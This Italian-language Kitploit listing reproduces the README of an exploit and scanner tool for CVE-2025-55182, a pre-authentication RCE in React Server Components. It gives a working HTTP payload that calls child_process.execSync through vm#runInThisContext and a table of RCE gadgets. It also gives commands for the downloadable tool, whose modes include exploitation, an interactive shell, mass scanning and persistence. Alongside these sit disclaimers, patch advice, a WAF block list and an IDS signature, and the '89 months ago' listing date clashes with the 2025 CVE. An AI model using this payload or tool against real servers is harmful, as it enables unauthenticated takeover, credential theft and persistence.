Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/im-hanzou/cve-2025-55182-poc-scanner
RicognizioneScanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e FormazioneRed TeamingSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
GitHubim-hanzou/cve-2025-55182-poc-scanner

CVE-2025-55182-POC-SCANNER

Strumento di ricerca sulla sicurezza unificato

Vedi Repository
89 mesi faNon ancora revisionato
Condividi

CVE-2025-55182: RCE Critica Pre-Autenticazione nei React Server Components

CVE-2025-55182 CVSS 10.0 Versioni React Affette Versioni Next.js Affette

Ricerca sulla Sicurezza di schema.cx
"Il controllo è un'illusione. Sono i sistemi che costruiamo a controllarci—a meno che non li comprendiamo prima."


📋 Indice

  • Disclaimer & Avviso Legale
  • Sommario Esecutivo
  • Descrizione Tecnica
  • Sistemi Affetti
  • Proof of Concept
  • Valutazione dell'Impatto
  • Mitigazione e Rimedio
  • Cronologia della Divulgazione Responsabile
  • Riferimenti
  • Attribuzione

  • ⚠️ Disclaimer e Avviso Legale

    QUESTO STRUMENTO È SOLO PER TEST DI SICUREZZA AUTORIZZATI

    FERMATI. LEGGI QUESTO PRIMA DI PROCEDERE.

    Questo repository contiene codice proof-of-concept per una vulnerabilità di sicurezza critica. Accedendo, scaricando o utilizzando qualsiasi materiale in questo repository, riconosci e accetti quanto segue:

    Requisiti Legali

    1. Autorizzazione Scritta Richiesta: Devi avere autorizzazione esplicita e scritta dal proprietario del sistema prima di condurre qualsiasi test di sicurezza. Gli accordi verbali sono insufficienti.

    2. Limitazioni di Ambito: I test devono essere limitati ai sistemi esplicitamente elencati nella tua autorizzazione. Lo "scope creep" non è consentito.

    3. Leggi Applicabili: L'accesso non autorizzato a sistemi informatici viola:

      • Stati Uniti: Computer Fraud and Abuse Act (CFAA), 18 U.S.C. § 1030
      • Unione Europea: Direttiva 2013/40/UE sugli attacchi contro i sistemi informativi
      • Regno Unito: Computer Misuse Act 1990
      • Australia: Criminal Code Act 1995, Divisioni 477-478
      • Altre giurisdizioni: Leggi simili sui crimini informatici si applicano a livello globale

    Esclusione di Responsabilità

    GLI AUTORI E I COLLABORATORI DI QUESTO REPOSITORY:

    • Non accettano ALCUNA responsabilità per l'uso improprio di questo strumento
    • Non forniscono ALCUNA garanzia, esplicita o implicita
    • NON sono responsabili per eventuali danni derivanti dall'uso o dall'incapacità di usare questo software
    • Non approvano attività illegali di alcun tipo

    Linee Guida Etiche

    • Non testare mai senza permesso — anche se "vuoi solo controllare"
    • Documenta tutto — mantieni registri dettagliati di tutte le attività di test
    • Minimizza l'impatto — usa i metodi meno invasivi possibili
    • Segnala responsabilmente — segui le pratiche di divulgazione coordinata
    • Rispetta la privacy — non esfiltrare o conservare dati sensibili

    "La domanda non è se possiamo sfruttare la vulnerabilità. È se dovremmo farlo, e per quale scopo."


    📊 Sommario Esecutivo

    CVE-2025-55182 è una vulnerabilità critica di esecuzione remota di codice (RCE) pre-autenticazione che riguarda i React Server Components nelle applicazioni React 19.x e Next.js 15.x-16.x.

    Impatto Aziendale

    Questa vulnerabilità consente a qualsiasi attaccante non autenticato con accesso di rete a un'applicazione vulnerabile di eseguire comandi arbitrari sul server. L'attacco non richiede credenziali, nessuna interazione dell'utente e può essere completamente automatizzato. Uno sfruttamento riuscito porta a:

    • Compromissione completa del server — gli attaccanti ottengono il controllo totale del sistema sottostante
    • Potenziale violazione dei dati — accesso a database, variabili d'ambiente, segreti e dati utente
    • Movimento laterale — i server compromessi possono essere usati per attaccare reti interne
    • Rischio per la supply chain — i sistemi di produzione che servono milioni di utenti potrebbero essere colpiti

    Valutazione della Severità

    MetricaValutazione
    Punteggio Base CVSS v3.110.0 CRITICO
    Vettore d'AttaccoRete
    Complessità dell'AttaccoBassa
    Privilegi RichiestiNessuno
    Interazione UtenteNessuna
    Impatto (C/I/D)Alto / Alto / Alto

    "Le persone si fidano dei sistemi perché non li capiscono. Quella fiducia è una vulnerabilità."


    🔬 Descrizione Tecnica

    Analisi della Causa Radice

    La vulnerabilità esiste nell'implementazione del protocollo Flight di React all'interno della funzione requireModule. Questa funzione usa la notazione a parentesi per accedere agli esportati del modulo basandosi sull'input controllato dall'utente, senza convalidare che la proprietà richiesta sia una proprietà propria del modulo.

    Posizione del Codice Vulnerabile:

    root@kitploit:~
    react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
    Funzione: requireModule (circa righe 2546-2558 in v19.0.0)
    

    Pattern Vulnerabile:

    root@kitploit:~
    function requireModule(metadata) {
      var moduleExports = __webpack_require__(metadata[0]);
      // ... gestione asincrona ...
      return moduleExports[metadata[2]];  // ← VULNERABILE: Nessun controllo hasOwnProperty
    }
    

    Meccanismo di Sfruttamento

    L'attacco sfrutta la traversata della catena dei prototipi di JavaScript:

    1. Punto d'ingresso: L'attaccante invia una richiesta multipart malevola a un endpoint di Server Action
    2. Iniezione del Payload: Il campo $ACTION_0:0 contiene JSON con le proprietà id (formato module#export) e bound (argomenti) controllate dall'attaccante
    3. Accesso al Prototipo: Specificando esportazioni come constructor o accedendo alle proprietà del prototipo, gli attaccanti possono riferirsi a moduli Node.js integrati
    4. Gadget RCE: Funzioni come vm.runInThisContext, child_process.execSync, o fs.readFileSync vengono eseguite con argomenti forniti dall'attaccante

    Vettore d'Attacco

    root@kitploit:~
    HTTP POST /formaction
        ↓
    decodeAction(formData, serverManifest)
        ↓
    loadServerReference(manifest, value.id, value.bound)
        ↓
    resolveServerReference(config, id)  // Analizza il formato "module#export"
        ↓
    requireModule(metadata)
        ↓
    moduleExports[metadata[2]]  // Accesso alla catena dei prototipi → RCE
    

    Struttura del Payload

    root@kitploit:~
    POST /api/action HTTP/1.1
    Content-Type: multipart/form-data; boundary=----Boundary
    
    ------Boundary
    Content-Disposition: form-data; name="$ACTION_REF_0"
    
    ------Boundary
    Content-Disposition: form-data; name="$ACTION_0:0"
    
    {"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
    ------Boundary--
    

    Gadget RCE Disponibili

    GadgetModuloDescrizioneImpatto
    vm#runInThisContextvmEsegue JS nel contesto correnteRCE Diretta
    vm#runInNewContextvmEsegue JS in sandbox (aggirabile)RCE Diretta
    child_process#execSyncchild_processEsegue comandi shellRCE Diretta
    child_process#spawnSyncchild_processAvvia processiRCE Diretta
    fs#readFileSyncfsLegge file arbitrariEsfiltrazione Dati
    fs#writeFileSyncfsScrive file arbitrariPersistenza/Backdoor
    module#_loadmoduleCarica moduli JS (RCE in due passi)RCE Indiretta

    "Ogni sistema ha una porta. La domanda è se hai costruito la serratura da solo—o l'hai ereditata da qualcuno che non si aspettava visitatori."


    🎯 Sistemi Affetti

    Versioni Vulnerabili

    ProdottoVersioni VulnerabiliVersioni Corrette
    React19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1+, 19.1.2+, 19.2.1+
    Next.js15.x, 16.x (che usano React vulnerabile)Versioni con React corretto

    Prerequisiti per lo Sfruttamento

    1. React Server Components Abilitati: L'applicazione utilizza RSC con Server Actions
    2. Versione React Vulnerabile: Una delle versioni affette è in uso
    3. Accesso alla Rete: L'attaccante può raggiungere gli endpoint di Server Action
    4. Moduli Pericolosi nel Bundle: Per RCE diretta, moduli come vm, child_process, o fs devono essere nel bundle webpack

    Requisiti di Piattaforma

    • Runtime: Node.js (qualsiasi versione che supporti React 19)
    • Framework: Next.js App Router o implementazione RCS personalizzata
    • Nessuna configurazione aggiuntiva richiesta per essere vulnerabile

    Probabilità di Moduli Pericolosi

    ModuloProbabilità nel BundleFonti Comuni
    fsMolto Altafs-extra, gray-matter, multer, sharp, chokidar
    child_processMedio-Altaexeca, shelljs, puppeteer, sharp, generatori PDF
    vmBassa-Mediaejs, pug, motori template
    moduleMolto Bassatsx, ts-node (solitamente solo CLI)

    🔧 Proof of Concept

    Strumento Scanner

    Questo repository include uno scanner di sicurezza Python completo con molteplici modalità operative.

    Struttura del Repository

    root@kitploit:~
    CVE-2025-55182-poc/
    ├── README.md                    # Questo file
    ├── scanner/
    │   ├── __init__.py             # Inizializzazione pacchetto Python
    │   ├── scanner.py              # Scanner principale unificato (6 modalità)
    │   ├── readme.md               # Documentazione dettagliata dello scanner
    │   ├── requirements.txt        # Dipendenze Python
    │   └── docs/
    │       ├── TECHNICAL-ANALYSIS.md    # Analisi approfondita della vulnerabilità
    │       └── VULNERABLE-PACKAGES.md   # Versioni dei pacchetti affetti
    

    Installazione:

    root@kitploit:~
    cd scanner
    pip install -r requirements.txt
    

    Esempi di Utilizzo Base

    Scansione Vulnerabilità:

    root@kitploit:~
    # Controlla se il target è vulnerabile
    python scanner.py scan https://target.com
    

    Rilevamento Gadget:

    root@kitploit:~
    # Identifica i gadget RCE disponibili
    python scanner.py exploit https://target.com --detect-gadgets
    

    Esecuzione Comando (con autorizzazione):

    root@kitploit:~
    # Esegui comando su target vulnerabile
    python scanner.py exploit https://target.com -c "whoami"
    

    Test Batch:

    root@kitploit:~
    # Testa più target da file
    python scanner.py batch -f targets.txt -o results.json
    

    Scansione Automatica con Verifica:

    root@kitploit:~
    # Scansione completa con verifica dello sfruttamento
    python scanner.py auto -f targets.txt -o report.txt
    

    Output Previsto

    Target Vulnerabile:

    root@kitploit:~
    [+] VULNERABILE a CVE-2025-55182!
        Framework: Next.js
        Versione: 15.1.0
        Confidenza: ALTA
        
    Gadget Disponibili:
      ✓ vm#runInThisContext
      ✓ child_process#execSync
      ✓ fs#readFileSync
      ✓ fs#writeFileSync
    

    Target Corretto:

    root@kitploit:~
    [-] Non vulnerabile o impossibile determinare
        Framework rilevato: Next.js
        Versione: 15.2.0 (corretto)
    

    Modalità dello Scanner

    ModalitàScopo
    scanRilevamento vulnerabilità e fingerprinting
    exploitSfruttamento controllato con gadget specifici
    shellShell interattiva per comandi su target vulnerabili
    batchTesta più URL con statistiche
    autoScansione automatica multi-target con verifica
    persistDimostrazioni attacco di persistenza (chiavi SSH, credenziali)

    Caratteristiche

    • Rilevamento Framework: Identifica applicazioni Next.js/React prima dello sfruttamento
    • Rilevamento WAF/CDN: Riconosce Cloudflare, Akamai, Incapsula, AWS WAF, Azure WAF e altri
    • Multipli Gadget RCE: Percorsi di sfruttamento vm, child_process, fs, module
    • RCE in Due Passi: Sfruttamento alternativo tramite fs#writeFileSync + module#_load
    • Verifica: Conferma gli exploit con prova di esecuzione
    • Prevenzione Falsi Positivi: Filtraggio intelligente di risposte HTML/WAF
    • Reporting: Formati di output testo, JSON e HTML

    Per documentazione completa, vedi scanner/readme.md.

    "Uno strumento è pericoloso solo quanto l'intento dietro di esso. Nelle mani giuste, un'arma diventa uno scudo."


    💥 Valutazione dell'Impatto

    Impatto sulla Riservatezza: ALTO

    • Variabili d'Ambiente: Credenziali di database, chiavi API, segreti
    • Codice Sorgente: Logica applicativa, algoritmi proprietari
    • Dati Utente: Informazioni personali, token di autenticazione
    • File di Sistema: /etc/passwd, chiavi SSH, credenziali cloud
    • Reti Interne: Punto di pivot per ulteriori attacchi

    Impatto sull'Integrità: ALTO

    • Iniezione di Codice: Backdoor nei file applicativi
    • Manipolazione dei Dati: Modifiche al database
    • Modifiche di Configurazione: Impostazioni di sicurezza, controlli di accesso
    • Meccanismi di Persistenza: Cron job, script di avvio, chiavi SSH

    Impatto sulla Disponibilità: ALTO

    • Interruzione del Servizio: Terminazione di processi, esaurimento risorse
    • Distruzione dei Dati: Cancellazione file, eliminazione database
    • Distribuzione Ransomware: Crittografia di file critici
    • Compromissione Completa del Sistema: Controllo amministrativo totale

    Scenari d'Attacco

    1. Violazione dei Dati: L'attaccante legge file .env contenenti credenziali di database, esfiltra dati dei clienti

    2. Installazione di Cryptominer: L'attaccante scrive uno script di mining, aggiunge un cron job per la persistenza

    3. Attacco alla Supply Chain: L'attaccante modifica il codice sorgente in produzione, servendo contenuti malevoli agli utenti

    4. Movimento Laterale: Il server compromesso viene usato per attaccare database, API e servizi interni

    5. Ransomware: L'attaccante crittografa i file dell'applicazione, chiede un pagamento per le chiavi di decrittazione


    🛡️ Mitigazione e Rimedio

    Azioni Immediati (Fai Ora)

    1. Aggiorna React Immediatamente

      root@kitploit:~
      npm update react react-dom react-server-dom-webpack
      

      Versioni target: 19.0.1+, 19.1.2+, o 19.2.1+

    2. Verifica l'Applicazione della Patch

      root@kitploit:~
      npm ls react
      

      Assicurati che nessuna versione vulnerabile rimanga nel tuo albero delle dipendenze

    Regole WAF/Firewall

    Blocca le richieste contenenti questi pattern:

    root@kitploit:~
    # Pattern del corpo della richiesta da bloccare
    #constructor
    #__proto__
    #prototype
    vm#runInThisContext
    vm#runInNewContext
    child_process#execSync
    child_process#execFileSync
    child_process#spawnSync
    module#_load
    fs#readFileSync
    fs#writeFileSync
    

    Hardening della Configurazione Next.js

    Escludi i pacchetti pericolosi dal bundle webpack:

    root@kitploit:~
    // next.config.js
    module.exports = {
      serverExternalPackages: [
        'sharp',
        'puppeteer',
        'execa',
        'shelljs',
        'vm2'
      ]
    }
    

    Rilevamento e Monitoraggio

    Pattern di Log da Monitorare:

    • Campi $ACTION_REF_ o $ACTION_ID_ insoliti nei corpi delle richieste
    • Richieste POST a endpoint /api/* con dati multipart contenenti JSON
    • Messaggi di errore che riferiscono constructor, prototype o accesso a moduli inaspettati

    Firme di Rilevamento Intrusioni:

    root@kitploit:~
    alert http any any -> $HOME_NET any (
      msg:"Tentativo di Sfruttamento CVE-2025-55182";
      content:"$ACTION_";
      content:"#constructor"; distance:0;
      sid:2025551820; rev:1;
    )
    

    Raccomandazioni a Lungo Termine

    1. Audit delle Dipendenze: Scansioni regolari con npm audit, Snyk, o strumenti simili
    2. Aggiornamenti di Sicurezza: Aggiornamenti automatici delle dipendenze tramite Dependabot o Renovate
    3. Validazione degli Input: Non fidarti mai dell'input utente nei pattern di accesso alle proprietà
    4. Minimo Privilegio: Esegui applicazioni con i permessi minimi necessari
    5. Segmentazione di Rete: Isola i sistemi di produzione dalle reti interne

    "Il patching non riguarda solo la riparazione di ciò che è rotto. Riguarda la chiusura delle porte che non sapevi fossero aperte."


    📅 Cronologia della Divulgazione Responsabile

    DataEvento
    ScopertaInformazioni in attesa
    Notifica al VenditoreInformazioni in attesa
    Riconoscimento del VenditoreInformazioni in attesa
    Sviluppo della PatchInformazioni in attesa
    Rilascio della PatchReact 19.0.1, 19.1.2, 19.2.1
    Divulgazione PubblicaInformazioni in attesa
    Assegnazione CVECVE-2025-55182

    Questa divulgazione segue le Linee Guida per la Divulgazione delle Vulnerabilità CERT/CC e gli standard ISO/IEC 29147:2018 per la divulgazione coordinata delle vulnerabilità.


    📚 Riferimenti

    Risorse Ufficiali

    • Voce CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
    • Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-55182

    Avvisi dei Venditori

    • Avvisi di Sicurezza React: https://github.com/facebook/react/security/advisories
    • Sicurezza Next.js: https://nextjs.org/docs/security

    Ricerca Correlata

    • Analisi Tecnica (Approfondimento)
    • Analisi dei Pacchetti Vulnerabili

    Letture di Base

    • OWASP - Prototype Pollution
    • Sicurezza del Modulo VM di Node.js
    • RFC dei React Server Components

    🏆 Attribuzione

    Ricerca Originale

    Questo proof-of-concept è stato sviluppato dal team di ricerca sulla sicurezza di schema.cx.

    Repository: https://github.com/ejpir/CVE-2025-55182-poc

    Ringraziamenti

    Vorremmo ringraziare:

    • I team di sicurezza di React e Next.js per la loro rapida risposta
    • La comunità di ricerca sulla sicurezza per l'analisi collaborativa
    • MITRE per il coordinamento CVE

    📜 Licenza

    Questo progetto è rilasciato solo per scopi educativi e di ricerca sulla sicurezza autorizzati.

    Usando questo software, accetti di:

    1. Usarlo solo su sistemi di tua proprietà o per cui hai esplicita autorizzazione al test
    2. Seguire le pratiche di divulgazione responsabile
    3. Non usarlo per scopi malevoli
    4. Accettare ogni responsabilità per le tue azioni

    "Non hackeriamo per distruggere. Hackeriamo per capire. E capire è il primo passo per costruire qualcosa di meglio."

    schema.cx — Ricerca sulla Sicurezza per un Mondo Digitale più Sicuro

    Scarica lo strumento